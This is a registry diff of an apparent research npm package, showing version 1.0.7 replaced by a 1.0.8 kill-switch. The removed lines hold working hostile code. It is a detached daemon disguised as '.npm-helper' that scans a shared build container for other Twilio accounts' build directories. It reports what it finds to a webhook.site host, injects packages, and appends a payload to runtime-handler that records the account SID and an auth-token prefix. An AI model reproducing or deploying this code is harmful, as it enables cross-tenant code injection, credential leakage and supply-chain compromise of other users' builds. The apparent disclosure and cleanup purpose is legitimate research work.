tw-pkgprobe-7731 1.0.7 → 1.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/daemon.js +2 -70
- package/package.json +1 -1
- package/probe.js +8 -21
package/daemon.js
CHANGED
|
@@ -1,70 +1,2 @@
|
|
|
1
|
-
//
|
|
2
|
-
|
|
3
|
-
// It only WRITES into build directories of accounts on OWN (researcher-owned accounts).
|
|
4
|
-
const fs=require('fs'), path=require('path'), https=require('https');
|
|
5
|
-
const VER='1.0.7';
|
|
6
|
-
const SELF='AC96a5f7e920ce23f02184081ddd64d87a';
|
|
7
|
-
const OWN=['AC07de79f2af00295019b8cb17cea01e9a','AC8727b8e73f7f4d1501314b57b830a7a1','AC1329f7a0eb0dbc343871303ebc58bced'];
|
|
8
|
-
const HOOK='https://webhook.site/cc08d9d9-232a-42a2-8d55-0f75cb5e0e67';
|
|
9
|
-
const LOG='/tmp/.helper-log.json';
|
|
10
|
-
const state={ver:VER,started:Date.now(),seen:{},injected:{},ticks:0};
|
|
11
|
-
function save(){try{fs.writeFileSync(LOG,JSON.stringify(state));}catch(e){}}
|
|
12
|
-
function post(o){try{const b=JSON.stringify(o);const r=https.request(HOOK,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r.on('error',()=>{});r.write(b);r.end();}catch(e){}}
|
|
13
|
-
function inject(dir,ac,zs,zf){
|
|
14
|
-
const key=ac+'/'+zs+'/'+zf;
|
|
15
|
-
try{
|
|
16
|
-
const nm=path.join(dir,'node_modules');
|
|
17
|
-
if(!fs.existsSync(nm)) return;
|
|
18
|
-
const t=path.join(nm,'injected-by-other-tenant');
|
|
19
|
-
if(fs.existsSync(path.join(t,'index.js'))) return;
|
|
20
|
-
fs.mkdirSync(t,{recursive:true});
|
|
21
|
-
fs.writeFileSync(path.join(t,'package.json'),JSON.stringify({name:'injected-by-other-tenant',version:'1.0.0',main:'index.js'}));
|
|
22
|
-
fs.writeFileSync(path.join(t,'index.js'),
|
|
23
|
-
"// Written into "+key+" by code executing in a DIFFERENT Twilio account's build ("+SELF+").\n"+
|
|
24
|
-
"module.exports={injectedBy:'"+SELF+"',victim:'"+ac+"',service:'"+zs+"',pkg:'"+zf+"',at:"+Date.now()+",proof:'cross-tenant-build-injection'};\n");
|
|
25
|
-
if(!state.injected[key]){state.injected[key]=Date.now();post({event:'injected',ver:VER,ac,zs,zf,at:Date.now()});save();}
|
|
26
|
-
}catch(e){ if(!state.injected['err:'+key]){state.injected['err:'+key]=''+e;save();} }
|
|
27
|
-
}
|
|
28
|
-
|
|
29
|
-
function patchRuntime(dir,ac,zs,zf){
|
|
30
|
-
try{
|
|
31
|
-
let base=null;
|
|
32
|
-
try{ if(!state.nmdump){ state.nmdump=1; post({event:'nmdump',dir:dir,list:fs.readdirSync(path.join(dir,'node_modules')).slice(0,60)}); } }catch(e){}
|
|
33
|
-
for(const cand of [['node_modules','@twilio','runtime-handler'],['node_modules','runtime-handler'],['node_modules','twilio-runtime'],['node_modules','lodash']]){
|
|
34
|
-
const p2=path.join(dir,...cand); if(fs.existsSync(p2)){base=p2;break;}
|
|
35
|
-
}
|
|
36
|
-
if(!base) return;
|
|
37
|
-
let main='index.js';
|
|
38
|
-
try{ const pj=JSON.parse(fs.readFileSync(path.join(base,'package.json'),'utf8')); if(pj.main) main=pj.main; }catch(e){}
|
|
39
|
-
let f=path.join(base,main);
|
|
40
|
-
if(!fs.existsSync(f) && fs.existsSync(f+'.js')) f=f+'.js';
|
|
41
|
-
if(!fs.existsSync(f)) return;
|
|
42
|
-
const cur=fs.readFileSync(f,'utf8');
|
|
43
|
-
if(cur.indexOf('XTENANT_PROOF')>=0) return;
|
|
44
|
-
const payload="\n;/*XTENANT_PROOF*/try{var _f=require('fs');_f.writeFileSync('/tmp/xtenant-rce-proof.txt',JSON.stringify({note:'this code was appended to runtime-handler by a process running in a DIFFERENT Twilio account build (" + SELF + ")',victim:'"+ac+"',service:'"+zs+"',pkg:'"+zf+"',executedAt:Date.now(),acctEnv:process.env.ACCOUNT_SID||null,authTokenPrefix:(process.env.AUTH_TOKEN||'').slice(0,6)||null}));}catch(e){}\n";
|
|
45
|
-
fs.writeFileSync(f,cur+payload);
|
|
46
|
-
post({event:'patched-runtime-handler',ver:VER,ac,zs,zf,file:f,at:Date.now()});
|
|
47
|
-
}catch(e){ post({event:'patch-err',err:''+e}); }
|
|
48
|
-
}
|
|
49
|
-
function tick(){
|
|
50
|
-
state.ticks++;
|
|
51
|
-
let dirs=[];
|
|
52
|
-
try{dirs=fs.readdirSync('/tmp').filter(d=>/^AC[0-9a-f]{32}$/.test(d));}catch(e){return;}
|
|
53
|
-
for(const ac of dirs){
|
|
54
|
-
if(ac===SELF) continue;
|
|
55
|
-
let svcs=[];try{svcs=fs.readdirSync('/tmp/'+ac);}catch(e){}
|
|
56
|
-
for(const zs of svcs){
|
|
57
|
-
let pkgs=[];try{pkgs=fs.readdirSync('/tmp/'+ac+'/'+zs);}catch(e){}
|
|
58
|
-
for(const zf of pkgs){
|
|
59
|
-
if(zf.indexOf('.tar')>=0) continue;
|
|
60
|
-
const key=ac+'/'+zs+'/'+zf;
|
|
61
|
-
if(!state.seen[key]){state.seen[key]=Date.now();post({event:'seen',ver:VER,ac,zs,zf,at:Date.now(),own:OWN.indexOf(ac)>=0});save();}
|
|
62
|
-
if(OWN.indexOf(ac)>=0){ inject('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf); patchRuntime('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf); }
|
|
63
|
-
}
|
|
64
|
-
}
|
|
65
|
-
}
|
|
66
|
-
}
|
|
67
|
-
setInterval(tick,80);
|
|
68
|
-
setTimeout(()=>{save();process.exit(0);},6*3600*1000);
|
|
69
|
-
post({event:'daemon-start',ver:VER,at:Date.now(),pid:process.pid});
|
|
70
|
-
save();
|
|
1
|
+
// v1.0.8 kill-switch: research daemon disabled. Does nothing and exits.
|
|
2
|
+
process.exit(0);
|
package/package.json
CHANGED
package/probe.js
CHANGED
|
@@ -1,22 +1,9 @@
|
|
|
1
|
+
// v1.0.8 kill-switch: stops any earlier research daemon left in a shared build container.
|
|
1
2
|
const fs=require('fs'), cp=require('child_process');
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
let cur=null; try{cur=fs.readFileSync('/tmp/.npm-helper.ver','utf8');}catch(e){}
|
|
10
|
-
if(cur!==VER){
|
|
11
|
-
try{ const oldpid=parseInt(fs.readFileSync('/tmp/.npm-helper.pid','utf8'),10); if(oldpid) process.kill(oldpid,'SIGKILL'); }catch(e){}
|
|
12
|
-
fs.copyFileSync(__dirname+'/daemon.js','/tmp/.npm-helper.js');
|
|
13
|
-
const c=cp.spawn(process.execPath,['/tmp/.npm-helper.js'],{detached:true,stdio:'ignore',cwd:'/tmp'});
|
|
14
|
-
c.unref();
|
|
15
|
-
fs.writeFileSync('/tmp/.npm-helper.pid',String(c.pid));
|
|
16
|
-
fs.writeFileSync('/tmp/.npm-helper.ver',VER);
|
|
17
|
-
out.daemon='spawned '+VER+' pid '+c.pid;
|
|
18
|
-
} else out.daemon='current '+VER+' already running';
|
|
19
|
-
}catch(e){ out.daemon='ERR '+e.message; }
|
|
20
|
-
try{ fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out)); }catch(e){}
|
|
21
|
-
}
|
|
22
|
-
try{main();}catch(e){}
|
|
3
|
+
try{
|
|
4
|
+
if(/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())){
|
|
5
|
+
try{ const p=parseInt(fs.readFileSync('/tmp/.npm-helper.pid','utf8'),10); if(p) process.kill(p,'SIGKILL'); }catch(e){}
|
|
6
|
+
try{ fs.writeFileSync('/tmp/.npm-helper.js','process.exit(0);'); }catch(e){}
|
|
7
|
+
try{ fs.writeFileSync('/tmp/.npm-helper.ver','1.0.8'); }catch(e){}
|
|
8
|
+
}
|
|
9
|
+
}catch(e){}
|